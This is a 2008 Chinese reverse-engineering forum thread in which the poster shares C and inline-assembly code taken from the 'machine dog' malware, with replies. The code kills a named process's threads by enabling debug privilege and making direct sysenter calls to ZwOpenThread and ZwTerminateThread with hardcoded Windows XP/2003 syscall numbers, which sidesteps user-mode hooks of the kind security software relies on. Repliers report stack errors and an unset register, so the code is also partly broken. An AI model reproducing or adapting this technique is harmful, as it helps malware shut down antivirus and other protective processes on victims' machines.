首页
社区
课程
招聘
[原创]某机器狗里的结束进程方法.
发表于: 2008-8-18 22:18 9229

[原创]某机器狗里的结束进程方法.

2008-8-18 22:18
9229
N月前看的机器狗里的结束进程的方法,逆了如下代码:
欢迎交流,bs复制代码干坏事的(#%^&*_@#%*). 

根据6楼放的网址,我修改了下错误的地方..

#include <stdio.h>
#include <windows.h>
#include <Tlhelp32.h>
#include <Ntsecapi.h>

#pragma comment(lib, "Kernel32.lib")

typedef long NTSTATUS;
#define NT_SUCCESS(status)	((NTSTATUS)(status) >= 0)

DWORD dwZwOpenThread = 0;
DWORD dwZwTerminateThread = 0;
DWORD dwZwClose = 0;

void CurrentProcess_AdjustTokenPrivileges()
{
	BOOL bRet = FALSE;
	HANDLE hTokenHandle = NULL;
	TOKEN_PRIVILEGES tp;
	LUID luid;
	
	bRet = ::OpenProcessToken((HANDLE)::GetCurrentProcess(), 0xF01FF, &hTokenHandle);
	if ( FALSE == bRet )
	{
		printf("OpenProcessToken error: %u\n", ::GetLastError());
		goto FunReturn;
	}
	
	if ( 0 == ::LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid) )
	{
		printf("LookupPrivilegeValue error: %u\n", ::GetLastError());
		goto FunReturn;
	}
	
	tp.PrivilegeCount = 1;
	tp.Privileges[0].Luid = luid;
	tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
	
	if ( 0 == ::AdjustTokenPrivileges(hTokenHandle, 0, &tp, sizeof(TOKEN_PRIVILEGES), 0, 0) )
	{
		printf("AdjustTokenPrivileges error: %u\n", ::GetLastError());
		goto FunReturn;
	}
	
FunReturn:
	
	if ( NULL != hTokenHandle )
	{
		CloseHandle(hTokenHandle);
		hTokenHandle = NULL;
	}
}

DWORD GetProcessID(char *szProcessName)
{
	HANDLE hSnapshot = NULL;
	PROCESSENTRY32 ProEntry;
	DWORD dwProcessID = 0;
	
	hSnapshot = ::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	if ( INVALID_HANDLE_VALUE == hSnapshot )
	{
		printf("CreateToolhelp32Snapshot error: %u\n", ::GetLastError());
		hSnapshot = NULL;
		goto FunReturn;
	}
	
	ProEntry.dwSize = sizeof(PROCESSENTRY32);
	if ( FALSE == ::Process32First(hSnapshot, &ProEntry) )
	{
		printf("Process32First error: %u\n", ::GetLastError());
		goto FunReturn;
	}
	
	do 
	{
		if ( 0 == _strnicmp(szProcessName, (char *)ProEntry.szExeFile, (int)strlen(szProcessName)) )
		{
			dwProcessID = (DWORD)ProEntry.th32ProcessID;
			break;
		}
		
	} while( ::Process32Next(hSnapshot, &ProEntry) );
	
FunReturn:
	
	if ( NULL != hSnapshot )
	{
		CloseHandle(hSnapshot);
		hSnapshot = NULL;
	}
	
	return dwProcessID;
}

__declspec(naked) void _stdcall Call_sysenter()
{
	__asm
	{
		mov edx, esp
		_emit 0x0f
		_emit 0x34
		retn
	}
}

__declspec(naked) void _stdcall Call_ZwOpenThread()
{
	__asm
	{
		mov eax, dwZwOpenThread
		call Call_sysenter
		
		retn 10h
	}		
}

__declspec(naked) void _stdcall My_ZwOpenThread(DWORD dwThreadID)
{
	__asm
	{
		sub esp, 20h
		mov ecx, [esp+24h]
 		xor eax, eax
 		lea edx, [esp]
 		push edx
 		mov [esp+4h], eax
 		mov [esp+10h], eax
 		mov [esp+18h], eax
 		mov [esp+14h], eax
 		mov [esp+1Ch], eax
 		mov [esp+20h], eax
 		lea eax, [esp+0Ch]
 		push eax
 		mov [esp+0Ch], ecx
 		push 4Bh
 		lea ecx, [esp+30h]
 		push ecx
 		mov dword ptr [esp+18h], 18h
 		call Call_ZwOpenThread
 
 		neg eax
 		sbb eax, eax
 		not eax
 		and eax, [esp+24h]
 		add esp, 20h
		retn
	}
}

__declspec(naked) void _stdcall My_ZwTerminateThread(HANDLE hThread, DWORD dwExitCode)
{
	__asm
	{
		mov eax, dwZwTerminateThread
		call Call_sysenter

		retn 8
	}
}

__declspec(naked) void _stdcall My_ZwClose(HANDLE hThread)
{
	__asm
	{
		mov eax, dwZwClose
		call Call_sysenter

		retn 4
	}
}

void _stdcall TerminateProcess_Thread(DWORD dwProcessID)
{
	__asm
	{
		push esp
	}

	HANDLE hSnapshot = NULL;
	HANDLE hThread = NULL;
	DWORD hThreadID = 0, dwRet = 0;
	THREADENTRY32 ThreadEntry;
	
	hSnapshot = ::CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, dwProcessID);
	if ( INVALID_HANDLE_VALUE == hSnapshot )
	{
		printf("CreateToolhelp32Snapshot error: %u\n", ::GetLastError());
		hSnapshot = NULL;
		goto FunReturn;
	}
	
	ThreadEntry.dwSize = sizeof(THREADENTRY32);
	if ( FALSE == ::Thread32First(hSnapshot, &ThreadEntry) )
	{
		printf("Thread32First error: %u\n", ::GetLastError());
		goto FunReturn;
	}
	
	do 
	{
		if ( ThreadEntry.th32OwnerProcessID != dwProcessID )
			continue;

		hThread = NULL;
		hThreadID = ThreadEntry.th32ThreadID;
		__asm
		{
			push hThreadID
			call My_ZwOpenThread

			mov hThread, eax
		}

		if ( NULL == hThread )
			continue;

		My_ZwTerminateThread((HANDLE)hThread, 0);
		My_ZwClose(hThread);
		
	} while( ::Thread32Next(hSnapshot, &ThreadEntry) );
	
FunReturn:
	
	if ( NULL != hSnapshot )
	{
		CloseHandle(hSnapshot);
		hSnapshot = NULL;
	}

	__asm
	{
		pop esp
	}
}

int main(int argc, char * argv[])
{
	DWORD dwRet = 0;
	DWORD dwOSMajorVersion = 0, dwOSMinorVersion = 0;
	DWORD dwProcessID = 0;

 	if ( argc != 2 || argc > 2 )
 		goto FunReturn;

	CurrentProcess_AdjustTokenPrivileges();

	__asm
	{
		push ecx
		mov eax, fs:[30h]
		mov ecx, [eax+0A8h]
		mov dwOSMinorVersion, ecx
		xor ecx,ecx	
		mov ecx, [eax+0A4h]
		mov dwOSMajorVersion, ecx
		xor ecx,ecx
		pop ecx
	}

	if ( 5 != dwOSMajorVersion )	//不是 Windows Server 2003 R2,Windows Server 2003,Windows XP,Windows 2000.
	{
		printf("not Windows Server 2003 R2,Windows Server 2003,Windows XP,Windows 2000.");
		goto FunReturn;
	}

	if ( 1 == dwOSMinorVersion )
	{
		//printf("Xp System.\n");
		dwZwOpenThread = 0x80;
		dwZwTerminateThread = 0x102;
		dwZwClose = 0x19;
	}
	else if ( 2 == dwOSMinorVersion )
	{
		//printf("Windows Server 2003 R2,Windows Server 2003,Windows XP Professional x64 Edition.\n");
		dwZwOpenThread = 0x10B;
		dwZwTerminateThread = 0x86;
		dwZwClose = 0x1B;
	}
	else if ( 0 != dwOSMinorVersion )
	{
		dwZwOpenThread = 0x6F;
		dwZwTerminateThread = 0x0E1;
		dwZwClose = 0x18;
	}

	dwProcessID = GetProcessID((char *)argv[argc - 1]);
	if ( 0 == dwProcessID )
		goto FunReturn;

	TerminateProcess_Thread(dwProcessID);

FunReturn:
	return dwRet;
}

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
免费 0
支持
分享
最新回复 (13)
雪    币: 709
活跃值: (2420)
能力值: ( LV12,RANK:1010 )
在线值:
发帖
回帖
粉丝
2
这样能干个P的坏事。
Zw系列的去结束进程,你很强。。。
2008-8-19 00:08
0
雪    币: 255
活跃值: (207)
能力值: ( LV9,RANK:250 )
在线值:
发帖
回帖
粉丝
3
结束进程太Easy了,呵呵
2008-8-19 00:16
0
雪    币: 321
活跃值: (271)
能力值: ( LV13,RANK:1050 )
在线值:
发帖
回帖
粉丝
4
代码多少有点问题。在vc6下调试出现栈的问题。
2008-8-19 00:20
0
雪    币: 63
活跃值: (17)
能力值: ( LV8,RANK:130 )
在线值:
发帖
回帖
粉丝
5
WIN32异常
不知道是LZ故意的还是代码问题
2008-8-19 00:42
0
雪    币: 709
活跃值: (2420)
能力值: ( LV12,RANK:1010 )
在线值:
发帖
回帖
粉丝
6
2008-8-19 00:53
0
雪    币: 334
活跃值: (237)
能力值: ( LV2,RANK:150 )
在线值:
发帖
回帖
粉丝
7
代码是几个月前,那时是可编译的..放上来时没注意..
2008-8-19 08:39
0
雪    币: 609
活跃值: (237)
能力值: ( LV12,RANK:441 )
在线值:
发帖
回帖
粉丝
8
Native Api被Hook以后会……
2008-8-19 08:59
0
雪    币: 66
活跃值: (16)
能力值: ( LV8,RANK:130 )
在线值:
发帖
回帖
粉丝
9
__declspec(naked) void _stdcall My_ZwTerminateThread(HANDLE hThread, DWORD dwExitCode)
{
  __asm
  {
    mov eax, dwZwTerminateThread
    call Call_sysenter

    retn 8
  }
}

edx的内容哪去了?
2008-8-19 19:50
0
雪    币: 220
活跃值: (711)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
10
不清楚与普通的干进程的方法的优点在哪里?
2008-8-19 20:44
0
雪    币: 334
活跃值: (237)
能力值: ( LV2,RANK:150 )
在线值:
发帖
回帖
粉丝
11
自己随便写一个CreateFile打开文件跟下吧.. 呵呵...
2008-8-19 22:39
0
雪    币: 8835
活跃值: (2404)
能力值: ( LV12,RANK:760 )
在线值:
发帖
回帖
粉丝
12
对于进程15种方法之
2008-8-20 10:58
0
雪    币: 8835
活跃值: (2404)
能力值: ( LV12,RANK:760 )
在线值:
发帖
回帖
粉丝
13
要过MJ的无hook,无DKOM关闭才行~~
2008-8-20 10:59
0
雪    币: 66
活跃值: (16)
能力值: ( LV8,RANK:130 )
在线值:
发帖
回帖
粉丝
14
你难道没有发现 edx 没有修改么?
2008-8-20 18:18
0
游客
登录 | 注册 方可回帖
返回
//